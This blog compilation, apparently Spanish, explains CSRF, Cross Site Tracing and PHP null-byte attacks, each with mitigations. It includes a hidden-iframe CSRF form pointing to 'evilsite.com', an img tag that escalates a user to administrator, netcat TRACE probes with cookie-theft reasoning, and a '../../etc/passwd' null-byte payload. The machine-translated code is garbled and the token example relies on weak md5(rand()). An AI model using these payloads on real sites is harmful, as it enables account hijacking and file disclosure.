sábado, 15 de octubre de 2011

Cross Site Request Forgery

Cross Site Request Forgery

Descripción

Los ataques CSRF pueden permitir a un atacante secuestrar una cuenta de la víctima  Una adecuada explotación CSRF puede cerrar la sesión de un usuario transferencia de dinero, cambiar una contraseña, modificar la información, hacer postes, cambio de estado de usuario, todo lo cual se lleva a cabo dentro de la cuenta de la víctima.
No es un ataque relativamente fácil de realizar, pero puede ser muy difícil de detectar el ataque en sí. Esto se debe al hecho de que los ataques parecen ser realizados por un usuario legítimo.

Gravedad

Moderado

verosimilitud Exploit

Muy Alta

 Como Hacer/Information

Hay una serie de técnicas que se pueden utilizar para realizar un ataque CSRF. Las formas más comunes de ataque son los siguientes: XSS , etiquetas IMG y la ingeniería social.
Por ingeniería social puede ser más difícil de lograr ya que es esencial ganar la confianza de las víctimas, y crear una página aparte para explotar la vulnerabilidad.

El método de XSS

Este método se basa en la ejecución de JavaScript, y ejecutar una consulta en el usuario víctima.
El siguiente trabajo es posible si la página de administración utiliza $ _GET () o $ _REQUEST (), de entrada:

Se oculta el iframe, por lo que el administrador no sospecha nada cuando la página mágicamente redirige a la página admin.php.


El siguiente ejemplo es si la página de administración utiliza $ _POST (), de entrada:
1 - Crear una página web alojada en alguna parte del código en línea y uso similar a lo siguiente, cambiar las entradas de forma según sea necesario:
  < html >
 < cuerpo >
 < forma action = "" method = "post" id = "FormID">
         < entrada type = "hidden" name = "ataque" value = "valuegoeshere" />
 </ formulario >
 < script de > document.getElementById ('FormID) submit ();. </ script de >
 </ cuerpo >
 </ html >
2 - Insertar la página dentro de un iframe en la página de XSS vulnerable de la siguiente manera:
  < iframe src = "http://www.evilsite.com/csrfrider.php" height = '0 'width = '0' style = 'border: 0; "/>
Esto enviara el formulario automáticamente a la página de administración
Ya que está escondido en el iframe, que requiere poca o ninguna ingeniería social.

IMG inyección

Como incrustar el exploit CSRF dentro de un iframe como se indica en el método de XSS, etiquetas <img /> También puede ser utilizado para ocultar un ataque CSRF. El más común de estos ataques se utilizan en sistemas de tablones. Avatares y [img] a menudo ofrecen poco o ningún control, y son a menudo un punto caliente para los puntos de ataque CSRF.
Incorporación de los ataques CSRF en [img] tienen el siguiente aspecto en el código HTML:
  < img src = "http://www.example.com/admin.php?edituser=1337&addgroup=administrator" />
Cuando la página es visitada por un usuario autorizado (el administrador), los ataques maliciosos se llevarán a cabo, y el administrador no tendrá ninguna indicación inmediata de que ha habido un ataque.
Por supuesto, si no hay fallos de XSS que se encuentren en el sitio, y no funciona la técnica de IMG, la ingeniería social siempre puede llevarse a cabo. Para ello será necesario ponerse en contacto con un administrador y para que hagan clic en un enlace que les llevará por un script malicioso. Esto podría ser simplemente ocultar la URL $ _GET con tinyurl, o que el administrador tenga acceso a su script de post malicioso. Esto es un poco más arriesgado, ya que a menudo es más rastreable que las técnicas anteriores.

Protección

Mientras que con el método POST para todas las formas le ayudará a protegerse contra los ataques CSRF, no es en absoluto prueba de balas. La forma recomendada para proteger contra los ataques CSRF es el uso de fichas únicas de las formas. Un símbolo es usado dentro de un elemento oculto en una forma de demostrar que la solicitud no se está forjando. Cada token es único para el usuario, y se almacena en la sesión del usuario. Para configurar las fichas, se puede usar el siguiente código:
  session_start ();
 if (! isset ($ _SESSION ['token']))
 {
         $ Token = md5 ( rand ());
         $ Token = str_split ($ token, 10);
         $ _SESSION ['Token'] = $ token [0];
 }
Lo anterior va a crear el símbolo y lo almacenan en la sesión del usuario. Un valor oculto que se encuentra en el formulario de entrada de la siguiente manera:
  < entrada type = 'oculto' name = 'token' valor ='<?=$_ SESIÓN ['token']?> "/>
La tercera parte del cheque simbólico es agregar la validación de la siguiente manera:
  if ($ _POST ['token'] == $ _SESSION ['token'])
 {
         / * Token es válida, continúe * /
 }
HASTA PRONTO!!

viernes, 14 de octubre de 2011

Cross Site Tracing

Cross Site Tracing

# Introduccion a HTTP.

A esta altura, y si estas leyendo esto creo suponer que tus conocimientos en lo que respecta a HTTP son 'intermedios' sabes como se maneja y funciona una web, y nociones sobre XSS -cross site scripting- (tengo un pequeño paper de introduccion a xss y derivados en http://confused.vndv.com/?p=32) sino es asi, bueno, hare una breve introduccion pero te recomiendo que leas un manual dedicado a estos temas especificos ya que no es el fin de este paper.

Para empezar HTTP significa Hyper-Text Transfer Protocol.Este -protocolo de transferencia de hipertexto- es el protocolo comunmente usado para todo tipo de transferencias o transacciones Webs.

Este protocolo se basa en un esquema denominado 'peticion-respuesta', es quien se encarga de mantener a los clientes conectados a los servidores, transferir datos entre ambos, como tambien las conexiones proxy.

Algo basico que hay que saber es que a un navegante como podriamos ser nosotros, cuando se conecta a una web como la de Google, se lo conoce al cliente como User-Agent. Aclaro esto porque es un vocablo muy utilizado en la jerga de programacion, y de hacking. A la informacion que se transmite entre servers y clientes, se lo conoce como RECURSOS y es identificada mediante un tipo de URI como el localizador URL. (para mas informacion wikipedia.org).
Una URL esta formado por 4 factores comunes, un protocolo, un nombre de la web/host/ip, un directorio y archivos.

# METODOS HTTP.

HTTP permite entre otras cosas, realizar diferentes metodos y acciones en un Servidor. Con el objetivo de brindar soporte a todas las personas que implementan esta tecnologia y testean aplicaciones HTTP.

Cuando una computadora "X" intenta ingresar a Google.com por ejemplo, realiza una peticion para poder visualizar la informacion remota, mediante un metodo y varios mas que se pueden acoplar para interactuar con la informacion. Veamos los distintos Metodos:

GET ------->  De los mas utilizados.
POST ------->  De los mas utilizados.
HEAD
TRACE
PUT
DELETE
CONNECT
OPTIONS


Como podemos ver disponemos, de bastantes metodos para interactuar con la informacion. Pero los mas comunes son GET y POST.
Estos dos metodos nos permiten acceder a la informacion que nos expone un servidor web mediante el ya explicado HTTP.

# GET => El metodo get se utiliza para introducir parametros de una solicitud HTTP mediante un navegador a un servidor web. Este metodo coloca parametros en la url generalmente separados por un "&", por ejemplo veamos el siguiente ejemplo una busqueda a Google sobre mi web:

http://www.google.com.ar/search?hl=es&q=confused.vndv.com&btnG=Buscar&meta=

Vemos como enfatice las "&".

# POST => El metodo post permite enviar datos de una forma diferente al metodo GET. Su envio es mas 'oculto' por asi decirlo ya que no figura en la URL de la barra de direcciones del navegador a simple vista de todos. Sino que lo hace mediante el CUERPO.

# METODOS QUE IMPLICAN RIESGO PARA LA SEGURIDAD


En esta seccion del paper, voy a nombrar los metodos mas importantes a mi modo de ver dps de describir GET y POST, que pueden llegar a permitir un riesgo en nuestro servidor. Veamos...

# PUT => Este metodo es el que permite el uploading de archivos a un servidor web.
Un atacante podria explotar este metodo realizando uploads de troyanos, o archivos de tipo malware. Generalmente esos son la finalidad del ataque.

# CONNECT => Este metodo generalmente es usado para realizar conexiones, por ejemplo una como SSL entre un cliente y un site https.
Un atacante podria usar un site como proxy.

# DELETE => Este metodo permite ELIMINAR archivos en el servidor web. Un atacante podria realizar desde la eliminacion de archivos vitales, como del site web o index.

# TRACE => Este metodo realiza la depuracion de las entradas de los Usuarios.
Y no hace mas que otra cosa que devolver cualquier cadena que es enviada al servidor web.

<----- Bien creo yo que estos son los mas 'peligrosos' y deberiamos dependiendo de nuestra posicion y labor de la web, deshabilitarlos.Claro que si realmente necesitamos utilizarlos, tendriamos que elaborar un tipo de contencion ante un mal uso, configurarlo bien y asegurarlos a usuarios permisivos. ---->

# PRUEBA DE METODOS

Ok, lo primero es intentar chequear que tipo de metodos son aceptados en alguna web, por respeto hacia terceros voy a omitir la 'web' con un 'www.objetivo.com' en su reemplazo.
# Requisitos -> Telnet / Netcat.

$> Probando que metodos tiene disponible un site mediante OPTIONS / HTTP/1.0

confused@opk:~$ nc
www.objetivo.com 80
OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 20 Jul 2009 18:35:35 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.9
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: text/html


Como vemos acepta los siguientes metodos -> get, head, post, options, trace.
Como este paper se refiere a metodos http y a cross site tracing, vamos a basarnos en el metodo TRACE.
# Localizando posibles XST potenciales

El metodo TRACE, puede ser una navaja de doble filo. Comunmente esta tecnica es usada para el fin de reemplazar o robar credenciales a un sistema meidante (cookies) Veamos..

$> Verificando que el TRACE es permitido en el objetivo.

confused@opk:~$ nc www.objetivo.com 80
TRACE / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 20 Jul 2009 18:58:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.9
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0


Bien la respuesta es "OK!" esto significa que la presencia del TRACE es correcta, que previamente nos habia indicado OPTIONS pero por las dudas quisimos asegurarnos.

# ELABORANDO UNA IDEA DE ATAQUE

Bien vamos a analizar esto, supongamos que siempre nos loguiamos a un foro, donde tenemos nuestra cookies habilitadas.
Ahora imaginemos que si enviamos una peticion TRACE via nuestro querido navegador y dicho navegador logicamente tiene esa cookie a ese portal de internet o foro. Bueno pues la cookie seria incrustada en las cabeceras de la peticion hecha por nosotros y seran por lo tanto devueltas por la respuesta del TRACE, donde para finalizar podremos acceder a ella mediante javascript y enviarla a donde queramos, como una web que trabaje de receptora de cookies, previamente montada.

Aunque hay un problema debido a que el navegador solamente puede iniciar una conexion a un objetivo donde se encuentre el script malicioso.

<---- Para que un navegador realize una peticion TRACE tenemos que tener algunos conocimientos sobre objetos de control de ActiveX.
Como este paper no trata de aprender eso y se supone que tienen nociones basicas almenos, seguiremos ---->
<---- En Mozilla Firefox, tenemos el control XMLDOM y en IE tenemos el XHR. Son interfaces creadas para realizar peticiones HTTP y HTTPS a servidores webs ---->


Volviendo con el problema que teniamos, lo mas comun es que los hackers logren inyectar codigo javascript en alguna parte de la web victima, como si hariamos un XSS, el script estará programado con la peticion TRACE. Claro que para esto tambien tendriamos que disponer que la web esa sea vulnerable a XSS verdad?.

Otra forma un poco mas sofisticada seria la de CREAR UNA WEB, donde el que nos visita, 'la victima' ingrese y mediante algun tipo de explotacion a nivel navegador para que se realice una conexion al sitio con la peticion TRACE y nos revele la cookie que intentamos robar.


\\nota

copy paste de: http://foro.el-hacker.com/f55/intro-cross-site-tracing-metodos-http-144807/

cuando no puedes superar lo perfecto, mejor no intentar mejorarlo  y dejarlo como está xD.

agradecimientos a: confusedmind

miércoles, 5 de octubre de 2011

Poison Null Byte


Poison Null Byte



El ataque conocido como Poison Null Byte fue nombrado originalmente por Olaf Kirch
La inyeccion consiste en la incorporación de Bytes NULOS / caracteres en las aplicaciones que no manejan adecuadamente postfix terminadores NULL, un atacante puede explotar un sistema que utiliza técnicas como la Load File Inclusion.

Gravedad

Relativamente alta

Explotación

Hay un número de maneras de utilizar el Poison Null Byte, incluyendo las siguientes:
- La terminación de un nombre de archivo dentro de una cadena, por ejemplo, una extensión de archivo.
- Terminación o comentar una sentencia SQL dinámicamente cuando se ejecuta, como por ejemplo Oracle "EXECUTE IMMEDIATE".

 

PHP Poison Null Byte

Un ejemplo de un script PHP vulnerable a este ataque es el siguiente:
  $ File = $ _GET ['archivo'];
 require_once ("/ var / www / php $ archivo."); 
". Php", mientras que en el script de arriba parece estar garantizado conyra ataques de LFI por obligar a indicar la extensión del archivo, que puede ser explotada de la siguiente manera:
http://www.imationgroup.com/index.php?file=../../etc/passwd + simbolo de porcentaje + 00

\\nota
No sé porque no me lo deja poner todo junto 
--- 
La inyección byte NULL arriba daría lugar a la extensión del archivo adjunto obligatorio (. Php) que se cayó, y el / etc / passwd a cargar.

Solucion:

Hay un número de maneras de prevenir el envenenamiento inyecciones de byte nulo en PHP. Estos incluyen escapar el byte NULL con una barra invertida, sin embargo, la forma más recomendable de hacerlo es eliminar por completo el byte mediante el uso de código similar a lo siguiente:
  $ File = str_replace ( chr (0),'', $ cadena);